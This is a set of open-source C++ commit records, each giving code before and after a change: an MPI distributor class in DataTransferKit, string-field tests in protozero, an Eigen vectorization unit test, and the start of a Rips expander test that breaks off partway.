{\n if (last_pass && (tmp_ranks(i) == next_biggest_rank)) {\n permutation(i) = index + offset;\n }\n if (tmp_ranks(i) == next_biggest_rank) ++index;\n if (last_pass) {\n if (i + 1 == tmp_ranks.extent(0)) {\n total() = index;\n }\n if (tmp_ranks(i) == next_biggest_rank) {\n tmp_ranks(i) = -1;\n }\n }\n });\n auto host_total = Kokkos::create_mirror_view_and_copy(\n Kokkos::HostSpace(), total);\n auto count = host_total();\n counts.push_back(count);\n offset += count;\n }\n}\n\/\/ clang-format on\n\nclass Distributor\n{\n public:\n Distributor( Teuchos::RCP<Teuchos::Comm<int> const> comm )\n : _distributor( comm )\n , _comm(\n *( Teuchos::rcp_dynamic_cast<Teuchos::MpiComm<int> const>( comm )\n ->getRawMpiComm() ) )\n {\n }\n\n template <typename T>\n static T *notNullPtr( T *p )\n {\n return p ? p : reinterpret_cast<T *>( -1 );\n }\n\n size_t\n createFromSends( Teuchos::ArrayView<int const> const &export_proc_ids )\n {\n static_assert(\n std::is_same<typename View::non_const_value_type, int>::value, \"\" );\n int comm_rank;\n MPI_Comm_rank( _comm, &comm_rank );\n\n auto const n = export_proc_ids.size();\n Kokkos::View<int const *, Kokkos::HostSpace,\n Kokkos::MemoryTraits<Kokkos::Unmanaged>>\n tmp( export_proc_ids.getRawPtr(), n );\n Kokkos::View<int *, Kokkos::HostSpace> destination_ranks(\n \"destination_ranks\", n );\n Kokkos::deep_copy( destination_ranks, tmp );\n\n _permute = Kokkos::View<int *, Kokkos::HostSpace>( \"permute\", n );\n std::vector<int> destinations;\n extract_and_sort_ranks( destination_ranks, _permute, destinations,\n _dest_offsets, _dest_counts );\n\n if ( _dest_counts.empty() )\n _dest_offsets.push_back( 0 );\n else\n _dest_offsets.push_back( _dest_offsets.back() +\n _dest_counts.back() );\n\n {\n int const reorder = 0; \/\/ Ranking may *not* be reordered\n int const sources[1] = {comm_rank};\n int const degrees[1] = {static_cast<int>( destinations.size() )};\n\n MPI_Dist_graph_create(\n _comm, 1, sources, degrees, notNullPtr( destinations.data() ),\n MPI_UNWEIGHTED, MPI_INFO_NULL, reorder, &_comm_dist_graph );\n }\n\n int indegrees;\n int outdegrees;\n int weighted;\n MPI_Dist_graph_neighbors_count( _comm_dist_graph, &indegrees,\n &outdegrees, &weighted );\n assert( weighted == 0 );\n assert( outdegrees == (int)destinations.size() );\n\n std::vector<int> sources( indegrees );\n MPI_Dist_graph_neighbors( _comm_dist_graph, indegrees,\n notNullPtr( sources.data() ), MPI_UNWEIGHTED,\n outdegrees, notNullPtr( destinations.data() ),\n MPI_UNWEIGHTED );\n\n _src_counts.resize( indegrees );\n MPI_Neighbor_alltoall( _dest_counts.data(), 1, MPI_INT,\n _src_counts.data(), 1, MPI_INT,\n _comm_dist_graph );\n\n _src_offsets.resize( indegrees + 1 );\n \/\/ exclusive scan\n _src_offsets[0] = 0;\n for ( int i = 0; i < indegrees; ++i )\n _src_offsets[i + 1] = _src_offsets[i] + _src_counts[i];\n\n int const nn = _distributor.createFromSends( export_proc_ids );\n assert( _src_offsets.back() == nn ); \/\/ check return value\n\n for ( int i = 0; i < indegrees; ++i )\n {\n auto it = std::find( std::begin( _distributor.getProcsFrom() ),\n std::end( _distributor.getProcsFrom() ),\n sources[i] );\n assert( it != std::end( _distributor.getProcsFrom() ) );\n int j =\n std::distance( std::begin( _distributor.getProcsFrom() ), it );\n assert( _src_counts[i] == (int)_distributor.getLengthsFrom()[j] );\n }\n\n for ( int i = 0; i < outdegrees; ++i )\n {\n auto it = std::find( std::begin( _distributor.getProcsTo() ),\n std::end( _distributor.getProcsTo() ),\n destinations[i] );\n assert( it != std::end( _distributor.getProcsTo() ) );\n int j =\n std::distance( std::begin( _distributor.getProcsTo() ), it );\n assert( _dest_counts[i] == (int)_distributor.getLengthsTo()[j] );\n }\n\n#if defined( REORDER_RECV )\n int comm_size = -1;\n MPI_Comm_size( _comm, &comm_size );\n _permute_recv.resize( _src_offsets.back() );\n int offset = 0;\n for ( int i = 0; i < comm_size; ++i )\n {\n auto const it = std::find( sources.begin(), sources.end(), i );\n if ( it != sources.end() )\n {\n int const j = std::distance( sources.begin(), it );\n std::iota( &_permute_recv[offset],\n &_permute_recv[offset] + _src_counts[j],\n _src_offsets[j] );\n offset += _src_counts[j];\n }\n }\n assert( offset == (int)_permute_recv.size() );\n#endif\n\n return _src_offsets.back();\n }\n template <typename Packet>\n void doPostsAndWaits( Teuchos::ArrayView<Packet const> const &exports,\n size_t numPackets,\n Teuchos::ArrayView<Packet> const &imports )\n {\n\n std::vector<int> dest_counts = _dest_counts;\n std::vector<int> dest_offsets = _dest_offsets;\n std::vector<int> src_counts = _src_counts;\n std::vector<int> src_offsets = _src_offsets;\n for ( auto pv :\n {&dest_counts, &dest_offsets, &src_counts, &src_offsets} )\n for ( auto &x : *pv )\n x *= numPackets * sizeof( Packet );\n\n std::vector<Packet> dest_buffer( exports.size() );\n std::vector<Packet> src_buffer( imports.size() );\n\n assert( (size_t)src_offsets.back() ==\n imports.size() * sizeof( Packet ) );\n assert( (size_t)dest_offsets.back() ==\n exports.size() * sizeof( Packet ) );\n\n for ( int i = 0; i < _dest_offsets.back(); ++i )\n std::copy( &exports[numPackets * i],\n &exports[numPackets * i] + numPackets,\n &dest_buffer[numPackets * _permute[i]] );\n\n MPI_Neighbor_alltoallv(\n notNullPtr( dest_buffer.data() ), notNullPtr( dest_counts.data() ),\n dest_offsets.data(), MPI_BYTE, notNullPtr( src_buffer.data() ),\n notNullPtr( src_counts.data() ), src_offsets.data(), MPI_BYTE,\n _comm_dist_graph );\n\n#if defined( REORDER_RECV )\n for ( int i = 0; i < _src_offsets.back(); ++i )\n std::copy( &src_buffer[numPackets * _permute_recv[i]],\n &src_buffer[numPackets * _permute_recv[i]] + numPackets,\n &imports[numPackets * i] );\n#else\n std::copy( src_buffer.begin(), src_buffer.end(), imports.getRawPtr() );\n#endif\n\n size_t num_receives = _distributor.getNumReceives();\n size_t num_sends = _distributor.getNumSends();\n if ( _distributor.hasSelfMessage() )\n {\n ++num_receives;\n ++num_sends;\n }\n assert( num_receives == _src_counts.size() );\n assert( num_sends == _dest_counts.size() );\n\n \/\/_distributor.doPostsAndWaits( exports, numPackets, imports );\n }\n size_t getTotalReceiveLength() const\n {\n auto n = _distributor.getTotalReceiveLength();\n assert( n ==\n std::accumulate( std::begin( _distributor.getLengthsFrom() ),\n std::end( _distributor.getLengthsFrom() ),\n size_t{0} ) );\n assert( n == static_cast<size_t>( _src_offsets.back() ) );\n return n;\n }\n size_t getTotalSendLength() const\n {\n auto n = std::accumulate( std::begin( _distributor.getLengthsTo() ),\n std::end( _distributor.getLengthsTo() ),\n size_t{0} );\n assert( n == static_cast<size_t>( _dest_offsets.back() ) );\n return n;\n }\n\n private:\n Tpetra::Distributor _distributor;\n MPI_Comm _comm;\n MPI_Comm _comm_dist_graph;\n Kokkos::View<int *, Kokkos::HostSpace> _permute;\n std::vector<int> _dest_offsets;\n std::vector<int> _dest_counts;\n std::vector<int> _src_offsets;\n std::vector<int> _src_counts;\n#if defined( REORDER_RECV )\n std::vector<int> _permute_recv;\n#endif\n};\n\n} \/\/ namespace Details\n} \/\/ namespace DataTransferKit\n\n#endif\n<commit_msg>Remove Tpetra::Distributor<commit_after>\/****************************************************************************\n * Copyright (c) 2012-2018 by the DataTransferKit authors *\n * All rights reserved. *\n * *\n * This file is part of the DataTransferKit library. DataTransferKit is *\n * distributed under a BSD 3-clause license. For the licensing terms see *\n * the LICENSE file in the top-level directory. *\n * *\n * SPDX-License-Identifier: BSD-3-Clause *\n ****************************************************************************\/\n#ifndef DTK_DETAILS_DISTRIBUTOR_HPP\n#define DTK_DETAILS_DISTRIBUTOR_HPP\n\n#include <Teuchos_ArrayView.hpp>\n#include <Teuchos_DefaultMpiComm.hpp>\n\n#include <Kokkos_Core.hpp> \/\/ FIXME\n\n#include <mpi.h>\n\n#include <algorithm>\n\n#define REORDER_RECV YES\n\nnamespace DataTransferKit\n{\nnamespace Details\n{\n\n\/\/ clang-format off\n\/\/ copy\/paste from https:\/\/github.com\/kokkos\/kokkos-tutorials\/blob\/ee619447cee9e57b831e34b151d0868958b6b1e5\/Intro-Full\/Exercises\/mpi_exch\/mpi_exch.cpp\n\/\/ * added Experimental nested namespace qualifier for Max\n\/\/ * declared function static to avoid multiple definition error at link time\n\/\/ * return early if input argument is empty\n\/\/ * replace parallel_reduce with std::max_element because I couldn't get it to compile\n\/\/ * append size to offsets in main driver but might want to handle it here\nstatic void extract_and_sort_ranks(\n Kokkos::View<int*, Kokkos::HostSpace> destination_ranks,\n Kokkos::View<int*, Kokkos::HostSpace> permutation,\n std::vector<int>& unique_ranks,\n std::vector<int>& offsets,\n std::vector<int>& counts) {\n int mpi_rank;\n MPI_Comm_rank(MPI_COMM_WORLD, &mpi_rank);\n auto n = destination_ranks.extent(0);\nif ( n == 0 ) return;\n using ST = decltype(n);\n Kokkos::View<int*, Kokkos::HostSpace> tmp_ranks(\"tmp ranks\", destination_ranks.extent(0));\n Kokkos::deep_copy(tmp_ranks, destination_ranks);\n int offset = 0;\n \/\/ this implements a \"sort\" which is O(N * R) where (R) is\n \/\/ the total number of unique destination ranks.\n \/\/ it performs better than other algorithms in\n \/\/ the case when (R) is small, but results may vary\n while (true) {\n int next_biggest_rank;\n \/\/Kokkos::parallel_reduce(\"find next biggest rank\", n, KOKKOS_LAMBDA(ST i, int& local_max) {\n \/\/ auto r = tmp_ranks(i);\n \/\/ local_max = (r > local_max) ? r : local_max;\n \/\/}, Kokkos::Experimental::Max<int, Kokkos::HostSpace>(next_biggest_rank));\n next_biggest_rank = *std::max_element(tmp_ranks.data(), tmp_ranks.data() + n);\n if (next_biggest_rank == -1) break;\n unique_ranks.push_back(next_biggest_rank);\n offsets.push_back(offset);\n Kokkos::View<int, Kokkos::HostSpace> total(\"total\");\n Kokkos::parallel_scan(\"process biggest rank items\", Kokkos::RangePolicy<Kokkos::Serial>(0, n),\n KOKKOS_LAMBDA(ST i, int& index, const bool last_pass) {\n if (last_pass && (tmp_ranks(i) == next_biggest_rank)) {\n permutation(i) = index + offset;\n }\n if (tmp_ranks(i) == next_biggest_rank) ++index;\n if (last_pass) {\n if (i + 1 == tmp_ranks.extent(0)) {\n total() = index;\n }\n if (tmp_ranks(i) == next_biggest_rank) {\n tmp_ranks(i) = -1;\n }\n }\n });\n auto host_total = Kokkos::create_mirror_view_and_copy(\n Kokkos::HostSpace(), total);\n auto count = host_total();\n counts.push_back(count);\n offset += count;\n }\n}\n\/\/ clang-format on\n\nclass Distributor\n{\n public:\n Distributor( Teuchos::RCP<Teuchos::Comm<int> const> comm )\n : _comm(\n *( Teuchos::rcp_dynamic_cast<Teuchos::MpiComm<int> const>( comm )\n ->getRawMpiComm() ) )\n {\n }\n\n template <typename T>\n static T *notNullPtr( T *p )\n {\n return p ? p : reinterpret_cast<T *>( -1 );\n }\n\n size_t\n createFromSends( Teuchos::ArrayView<int const> const &export_proc_ids )\n {\n static_assert(\n std::is_same<typename View::non_const_value_type, int>::value, \"\" );\n int comm_rank;\n MPI_Comm_rank( _comm, &comm_rank );\n\n auto const n = export_proc_ids.size();\n Kokkos::View<int const *, Kokkos::HostSpace,\n Kokkos::MemoryTraits<Kokkos::Unmanaged>>\n tmp( export_proc_ids.getRawPtr(), n );\n Kokkos::View<int *, Kokkos::HostSpace> destination_ranks(\n \"destination_ranks\", n );\n Kokkos::deep_copy( destination_ranks, tmp );\n\n _permute = Kokkos::View<int *, Kokkos::HostSpace>( \"permute\", n );\n std::vector<int> destinations;\n extract_and_sort_ranks( destination_ranks, _permute, destinations,\n _dest_offsets, _dest_counts );\n\n if ( _dest_counts.empty() )\n _dest_offsets.push_back( 0 );\n else\n _dest_offsets.push_back( _dest_offsets.back() +\n _dest_counts.back() );\n\n {\n int const reorder = 0; \/\/ Ranking may *not* be reordered\n int const sources[1] = {comm_rank};\n int const degrees[1] = {static_cast<int>( destinations.size() )};\n\n MPI_Dist_graph_create(\n _comm, 1, sources, degrees, notNullPtr( destinations.data() ),\n MPI_UNWEIGHTED, MPI_INFO_NULL, reorder, &_comm_dist_graph );\n }\n\n int indegrees;\n int outdegrees;\n int weighted;\n MPI_Dist_graph_neighbors_count( _comm_dist_graph, &indegrees,\n &outdegrees, &weighted );\n assert( weighted == 0 );\n assert( outdegrees == (int)destinations.size() );\n\n std::vector<int> sources( indegrees );\n MPI_Dist_graph_neighbors( _comm_dist_graph, indegrees,\n notNullPtr( sources.data() ), MPI_UNWEIGHTED,\n outdegrees, notNullPtr( destinations.data() ),\n MPI_UNWEIGHTED );\n\n _src_counts.resize( indegrees );\n MPI_Neighbor_alltoall( _dest_counts.data(), 1, MPI_INT,\n _src_counts.data(), 1, MPI_INT,\n _comm_dist_graph );\n\n _src_offsets.resize( indegrees + 1 );\n \/\/ exclusive scan\n _src_offsets[0] = 0;\n for ( int i = 0; i < indegrees; ++i )\n _src_offsets[i + 1] = _src_offsets[i] + _src_counts[i];\n\n#if defined( REORDER_RECV )\n int comm_size = -1;\n MPI_Comm_size( _comm, &comm_size );\n _permute_recv.resize( _src_offsets.back() );\n int offset = 0;\n for ( int i = 0; i < comm_size; ++i )\n {\n auto const it = std::find( sources.begin(), sources.end(), i );\n if ( it != sources.end() )\n {\n int const j = std::distance( sources.begin(), it );\n std::iota( &_permute_recv[offset],\n &_permute_recv[offset] + _src_counts[j],\n _src_offsets[j] );\n offset += _src_counts[j];\n }\n }\n assert( offset == (int)_permute_recv.size() );\n#endif\n\n return _src_offsets.back();\n }\n template <typename Packet>\n void doPostsAndWaits( Teuchos::ArrayView<Packet const> const &exports,\n size_t numPackets,\n Teuchos::ArrayView<Packet> const &imports )\n {\n\n std::vector<int> dest_counts = _dest_counts;\n std::vector<int> dest_offsets = _dest_offsets;\n std::vector<int> src_counts = _src_counts;\n std::vector<int> src_offsets = _src_offsets;\n for ( auto pv :\n {&dest_counts, &dest_offsets, &src_counts, &src_offsets} )\n for ( auto &x : *pv )\n x *= numPackets * sizeof( Packet );\n\n std::vector<Packet> dest_buffer( exports.size() );\n std::vector<Packet> src_buffer( imports.size() );\n\n assert( (size_t)src_offsets.back() ==\n imports.size() * sizeof( Packet ) );\n assert( (size_t)dest_offsets.back() ==\n exports.size() * sizeof( Packet ) );\n\n for ( int i = 0; i < _dest_offsets.back(); ++i )\n std::copy( &exports[numPackets * i],\n &exports[numPackets * i] + numPackets,\n &dest_buffer[numPackets * _permute[i]] );\n\n MPI_Neighbor_alltoallv(\n notNullPtr( dest_buffer.data() ), notNullPtr( dest_counts.data() ),\n dest_offsets.data(), MPI_BYTE, notNullPtr( src_buffer.data() ),\n notNullPtr( src_counts.data() ), src_offsets.data(), MPI_BYTE,\n _comm_dist_graph );\n\n#if defined( REORDER_RECV )\n for ( int i = 0; i < _src_offsets.back(); ++i )\n std::copy( &src_buffer[numPackets * _permute_recv[i]],\n &src_buffer[numPackets * _permute_recv[i]] + numPackets,\n &imports[numPackets * i] );\n#else\n std::copy( src_buffer.begin(), src_buffer.end(), imports.getRawPtr() );\n#endif\n }\n size_t getTotalReceiveLength() const { return _src_offsets.back(); }\n size_t getTotalSendLength() const { return _dest_offsets.back(); }\n\n private:\n MPI_Comm _comm;\n MPI_Comm _comm_dist_graph;\n Kokkos::View<int *, Kokkos::HostSpace> _permute;\n std::vector<int> _dest_offsets;\n std::vector<int> _dest_counts;\n std::vector<int> _src_offsets;\n std::vector<int> _src_counts;\n#if defined( REORDER_RECV )\n std::vector<int> _permute_recv;\n#endif\n};\n\n} \/\/ namespace Details\n} \/\/ namespace DataTransferKit\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\n#include <test.hpp>\n\nTEST_CASE(\"read string field\") {\n\n SECTION(\"empty\") {\n const std::string buffer = load_data(\"string\/data-empty\");\n\n protozero::pbf_reader item(buffer);\n\n REQUIRE(item.next());\n REQUIRE(item.get_string() == \"\");\n REQUIRE(!item.next());\n }\n\n SECTION(\"one\") {\n const std::string buffer = load_data(\"string\/data-one\");\n\n protozero::pbf_reader item(buffer);\n\n REQUIRE(item.next());\n REQUIRE(item.get_string() == \"x\");\n REQUIRE(!item.next());\n }\n\n SECTION(\"string\") {\n const std::string buffer = load_data(\"string\/data-string\");\n\n protozero::pbf_reader item(buffer);\n\n REQUIRE(item.next());\n REQUIRE(item.get_string() == \"foobar\");\n REQUIRE(!item.next());\n }\n\n SECTION(\"end_of_buffer\") {\n const std::string buffer = load_data(\"string\/data-string\");\n\n for (std::string::size_type i = 1; i < buffer.size(); ++i) {\n protozero::pbf_reader item(buffer.data(), i);\n REQUIRE(item.next());\n REQUIRE_THROWS_AS(item.get_string(), protozero::end_of_buffer_exception);\n }\n }\n\n}\n\nTEST_CASE(\"write string field\") {\n\n std::string buffer_test;\n protozero::pbf_writer pbf_test(buffer_test);\n\n SECTION(\"empty\") {\n pbf_test.add_string(1, \"\");\n REQUIRE(buffer_test == load_data(\"string\/data-empty\"));\n }\n\n SECTION(\"one\") {\n pbf_test.add_string(1, \"x\");\n REQUIRE(buffer_test == load_data(\"string\/data-one\"));\n }\n\n SECTION(\"string\") {\n pbf_test.add_string(1, \"foobar\");\n REQUIRE(buffer_test == load_data(\"string\/data-string\"));\n }\n\n}\n\n<commit_msg>Add test for get_view().<commit_after>\n#include <test.hpp>\n\nTEST_CASE(\"read string field using get_string\") {\n\n SECTION(\"empty\") {\n const std::string buffer = load_data(\"string\/data-empty\");\n\n protozero::pbf_reader item(buffer);\n\n REQUIRE(item.next());\n REQUIRE(item.get_string() == \"\");\n REQUIRE(!item.next());\n }\n\n SECTION(\"one\") {\n const std::string buffer = load_data(\"string\/data-one\");\n\n protozero::pbf_reader item(buffer);\n\n REQUIRE(item.next());\n REQUIRE(item.get_string() == \"x\");\n REQUIRE(!item.next());\n }\n\n SECTION(\"string\") {\n const std::string buffer = load_data(\"string\/data-string\");\n\n protozero::pbf_reader item(buffer);\n\n REQUIRE(item.next());\n REQUIRE(item.get_string() == \"foobar\");\n REQUIRE(!item.next());\n }\n\n SECTION(\"end_of_buffer\") {\n const std::string buffer = load_data(\"string\/data-string\");\n\n for (std::string::size_type i = 1; i < buffer.size(); ++i) {\n protozero::pbf_reader item(buffer.data(), i);\n REQUIRE(item.next());\n REQUIRE_THROWS_AS(item.get_string(), protozero::end_of_buffer_exception);\n }\n }\n\n}\n\nTEST_CASE(\"read string field using get_view\") {\n\n SECTION(\"empty\") {\n const std::string buffer = load_data(\"string\/data-empty\");\n\n protozero::pbf_reader item(buffer);\n\n REQUIRE(item.next());\n auto v = item.get_view();\n REQUIRE(v.size() == 0);\n REQUIRE(!item.next());\n }\n\n SECTION(\"one\") {\n const std::string buffer = load_data(\"string\/data-one\");\n\n protozero::pbf_reader item(buffer);\n\n REQUIRE(item.next());\n auto v = item.get_view();\n REQUIRE(*v.data() == 'x');\n REQUIRE(v.size() == 1);\n REQUIRE(!item.next());\n }\n\n SECTION(\"string\") {\n const std::string buffer = load_data(\"string\/data-string\");\n\n protozero::pbf_reader item(buffer);\n\n REQUIRE(item.next());\n REQUIRE(std::string(item.get_view()) == \"foobar\");\n REQUIRE(!item.next());\n }\n\n SECTION(\"end_of_buffer\") {\n const std::string buffer = load_data(\"string\/data-string\");\n\n for (std::string::size_type i = 1; i < buffer.size(); ++i) {\n protozero::pbf_reader item(buffer.data(), i);\n REQUIRE(item.next());\n REQUIRE_THROWS_AS(item.get_view(), protozero::end_of_buffer_exception);\n }\n }\n\n}\n\nTEST_CASE(\"write string field\") {\n\n std::string buffer_test;\n protozero::pbf_writer pbf_test(buffer_test);\n\n SECTION(\"empty\") {\n pbf_test.add_string(1, \"\");\n REQUIRE(buffer_test == load_data(\"string\/data-empty\"));\n }\n\n SECTION(\"one\") {\n pbf_test.add_string(1, \"x\");\n REQUIRE(buffer_test == load_data(\"string\/data-one\"));\n }\n\n SECTION(\"string\") {\n pbf_test.add_string(1, \"foobar\");\n REQUIRE(buffer_test == load_data(\"string\/data-string\"));\n }\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra. Eigen itself is part of the KDE project.\n\/\/\n\/\/ Copyright (C) 2008 Gael Guennebaud <g.gael@free.fr>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n#include <typeinfo>\n\ntemplate<typename Dst, typename Src>\nbool test_assign(const Dst&, const Src&, int vectorization, int unrolling)\n{\n return ei_assign_traits<Dst,Src>::Vectorization==vectorization\n && ei_assign_traits<Dst,Src>::Unrolling==unrolling;\n}\n\ntemplate<typename Xpr>\nbool test_sum(const Xpr&, int vectorization, int unrolling)\n{\n return ei_sum_traits<Xpr>::Vectorization==vectorization\n && ei_sum_traits<Xpr>::Unrolling==unrolling;\n}\n\nvoid test_vectorization_logic()\n{\n\n#ifdef EIGEN_VECTORIZE\n\n VERIFY(test_assign(Vector4f(),Vector4f(),\n InnerVectorization,CompleteUnrolling));\n VERIFY(test_assign(Vector4f(),Vector4f()+Vector4f(),\n InnerVectorization,CompleteUnrolling));\n VERIFY(test_assign(Vector4f(),Vector4f().cwise() * Vector4f(),\n InnerVectorization,CompleteUnrolling));\n\n VERIFY(test_assign(Matrix4f(),Matrix4f(),\n InnerVectorization,CompleteUnrolling));\n VERIFY(test_assign(Matrix4f(),Matrix4f()+Matrix4f(),\n InnerVectorization,CompleteUnrolling));\n VERIFY(test_assign(Matrix4f(),Matrix4f().cwise() * Matrix4f(),\n InnerVectorization,CompleteUnrolling));\n\n VERIFY(test_assign(Matrix<float,16,16>(),Matrix<float,16,16>()+Matrix<float,16,16>(),\n InnerVectorization,InnerUnrolling));\n\n VERIFY(test_assign(Matrix<float,16,16,DontAlign>(),Matrix<float,16,16>()+Matrix<float,16,16>(),\n NoVectorization,InnerUnrolling));\n\n VERIFY(test_assign(Matrix<float,6,2>(),Matrix<float,6,2>().cwise() \/ Matrix<float,6,2>(),\n LinearVectorization,CompleteUnrolling));\n\n VERIFY(test_assign(Matrix<float,17,17>(),Matrix<float,17,17>()+Matrix<float,17,17>(),\n NoVectorization,InnerUnrolling));\n\n VERIFY(test_assign(Matrix<float,4,4>(),Matrix<float,17,17>().block<4,4>(2,3)+Matrix<float,17,17>().block<4,4>(10,4),\n NoVectorization,CompleteUnrolling));\n\n VERIFY(test_assign(MatrixXf(10,10),MatrixXf(20,20).block(10,10,2,3),\n SliceVectorization,NoUnrolling));\n\n\n VERIFY(test_sum(VectorXf(10),\n LinearVectorization,NoUnrolling));\n\n VERIFY(test_sum(Matrix<float,5,2>(),\n NoVectorization,CompleteUnrolling));\n \n VERIFY(test_sum(Matrix<float,6,2>(),\n LinearVectorization,CompleteUnrolling));\n\n VERIFY(test_sum(Matrix<float,16,16>(),\n LinearVectorization,NoUnrolling));\n\n VERIFY(test_sum(Matrix<float,16,16>().block<4,4>(1,2),\n NoVectorization,CompleteUnrolling));\n\n VERIFY(test_sum(Matrix<float,16,16>().block<8,1>(1,2),\n LinearVectorization,CompleteUnrolling));\n\n VERIFY(test_sum(Matrix<double,7,3>(),\n NoVectorization,CompleteUnrolling));\n\n#endif \/\/ EIGEN_VECTORIZE\n\n}\n<commit_msg>update vectorization_logic unit test wrt previous sum\/redux change<commit_after>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra. Eigen itself is part of the KDE project.\n\/\/\n\/\/ Copyright (C) 2008 Gael Guennebaud <g.gael@free.fr>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n#include <typeinfo>\n\ntemplate<typename Dst, typename Src>\nbool test_assign(const Dst&, const Src&, int vectorization, int unrolling)\n{\n return ei_assign_traits<Dst,Src>::Vectorization==vectorization\n && ei_assign_traits<Dst,Src>::Unrolling==unrolling;\n}\n\ntemplate<typename Xpr>\nbool test_redux(const Xpr&, int vectorization, int unrolling)\n{\n typedef ei_redux_traits<ei_scalar_sum_op<typename Xpr::Scalar>,Xpr> traits;\n return traits::Vectorization==vectorization && traits::Unrolling==unrolling;\n}\n\nvoid test_vectorization_logic()\n{\n\n#ifdef EIGEN_VECTORIZE\n\n VERIFY(test_assign(Vector4f(),Vector4f(),\n InnerVectorization,CompleteUnrolling));\n VERIFY(test_assign(Vector4f(),Vector4f()+Vector4f(),\n InnerVectorization,CompleteUnrolling));\n VERIFY(test_assign(Vector4f(),Vector4f().cwise() * Vector4f(),\n InnerVectorization,CompleteUnrolling));\n\n VERIFY(test_assign(Matrix4f(),Matrix4f(),\n InnerVectorization,CompleteUnrolling));\n VERIFY(test_assign(Matrix4f(),Matrix4f()+Matrix4f(),\n InnerVectorization,CompleteUnrolling));\n VERIFY(test_assign(Matrix4f(),Matrix4f().cwise() * Matrix4f(),\n InnerVectorization,CompleteUnrolling));\n\n VERIFY(test_assign(Matrix<float,16,16>(),Matrix<float,16,16>()+Matrix<float,16,16>(),\n InnerVectorization,InnerUnrolling));\n\n VERIFY(test_assign(Matrix<float,16,16,DontAlign>(),Matrix<float,16,16>()+Matrix<float,16,16>(),\n NoVectorization,InnerUnrolling));\n\n VERIFY(test_assign(Matrix<float,6,2>(),Matrix<float,6,2>().cwise() \/ Matrix<float,6,2>(),\n LinearVectorization,CompleteUnrolling));\n\n VERIFY(test_assign(Matrix<float,17,17>(),Matrix<float,17,17>()+Matrix<float,17,17>(),\n NoVectorization,InnerUnrolling));\n\n VERIFY(test_assign(Matrix<float,4,4>(),Matrix<float,17,17>().block<4,4>(2,3)+Matrix<float,17,17>().block<4,4>(10,4),\n NoVectorization,CompleteUnrolling));\n\n VERIFY(test_assign(MatrixXf(10,10),MatrixXf(20,20).block(10,10,2,3),\n SliceVectorization,NoUnrolling));\n\n\n VERIFY(test_redux(VectorXf(10),\n LinearVectorization,NoUnrolling));\n\n VERIFY(test_redux(Matrix<float,5,2>(),\n NoVectorization,CompleteUnrolling));\n\n VERIFY(test_redux(Matrix<float,6,2>(),\n LinearVectorization,CompleteUnrolling));\n\n VERIFY(test_redux(Matrix<float,16,16>(),\n LinearVectorization,NoUnrolling));\n\n VERIFY(test_redux(Matrix<float,16,16>().block<4,4>(1,2),\n NoVectorization,CompleteUnrolling));\n\n VERIFY(test_redux(Matrix<float,16,16>().block<8,1>(1,2),\n LinearVectorization,CompleteUnrolling));\n\n VERIFY(test_redux(Matrix<double,7,3>(),\n NoVectorization,CompleteUnrolling));\n\n#endif \/\/ EIGEN_VECTORIZE\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"geometry\/RipsExpander.hh\"\n\n#include \"tests\/Base.hh\"\n\n#include \"filtrations\/Data.hh\"\n\n#include \"topology\/Simplex.hh\"\n#include \"topology\/SimplicialComplex.hh\"\n\n#include <iterator>\n#include <set>\n#include <vector>\n\n#include <cmath>\n\nusing namespace aleph::geometry;\nusing namespace aleph::topology;\nusing namespace aleph;\n\n\/** Checks whether co-faces are preceded by their faces in a filtration *\/\ntemplate <class InputIterator> bool isConsistentFiltration( InputIterator begin, InputIterator end )\n{\n using Simplex = typename std::iterator_traits<InputIterator>::value_type;\n\n \/\/ Contains all simplices that have already been 'seen' during the\n \/\/ traversal. If an unseen face is encountered, we have identified\n \/\/ an error.\n std::set<Simplex> seen;\n\n for( auto it = begin; it != end; ++it )\n {\n seen.insert( *it );\n\n for( auto itFace = it->begin_boundary(); itFace != it->end_boundary(); ++itFace )\n if( seen.find( *itFace ) == seen.end() )\n return false;\n }\n\n return true;\n}\n\ntemplate <class Data, class Vertex> void triangle()\n{\n ALEPH_TEST_BEGIN( \"Triangle\" );\n\n using Simplex = Simplex<Data, Vertex>;\n using SimplicialComplex = SimplicialComplex<Simplex>;\n\n std::vector<Simplex> simplices\n = { {0}, {1}, {2}, {0,1}, {0,2}, {1,2} };\n\n SimplicialComplex K( simplices.begin(), simplices.end() );\n RipsExpander<SimplicialComplex> ripsExpander;\n\n auto vr1 = ripsExpander( K, 2 );\n auto vr2 = ripsExpander( K, 3 );\n\n ALEPH_ASSERT_THROW( vr1.empty() == false );\n ALEPH_ASSERT_THROW( 